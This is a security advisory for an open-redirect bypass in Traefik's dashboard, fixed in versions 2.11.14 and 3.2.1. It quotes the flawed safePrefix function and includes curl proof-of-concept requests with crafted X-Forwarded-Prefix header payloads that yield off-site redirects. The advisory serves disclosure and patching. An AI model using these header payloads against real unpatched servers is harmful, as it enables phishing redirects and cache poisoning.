GHSA-h924-8g65-j9wg Traefik's X-Forwarded-Prefix Header still allows for Open Redirect

• Go github.com/traefik/traefik/v2: < 2.11.14 → fixed in 2.11.14 • Go github.com/traefik/traefik/v3: < 3.2.1 → fixed in 3.2.1

Impact There is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source. Patches • https://github.com/traefik/traefik/releases/tag/v2.11.14 • https://github.com/traefik/traefik/releases/tag/v3.2.1 Workarounds No workaround. For more information If you have any questions or comments about this advisory, please open an issue. Original Description Summary The previously reported open redirect (GHSA-6qq8-5wq3-86rp) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL. Details The Traefik API dashboard component tries to validate that the value of the header X-Forwarded-Prefix is a site relative path: ```go http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound) ``` ```go func safePrefix(req *http.Request) string { prefix := req.Header.Get("X-Forwarded-Prefix") if prefix == "" { return "" } parse, err := url.Parse(prefix) if err != nil { return "" } return parse.Path } ``` PoC An attacker can bypass this by sending the following payload: ```bash curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com' [...] > HTTP/1.1 302 Found > Location: //a.com/dashboard/ ``` or similar: ```bash curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com' [...] > HTTP/1.1 302 Found > Location: //a.com/dashboard/ ``` Impact Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.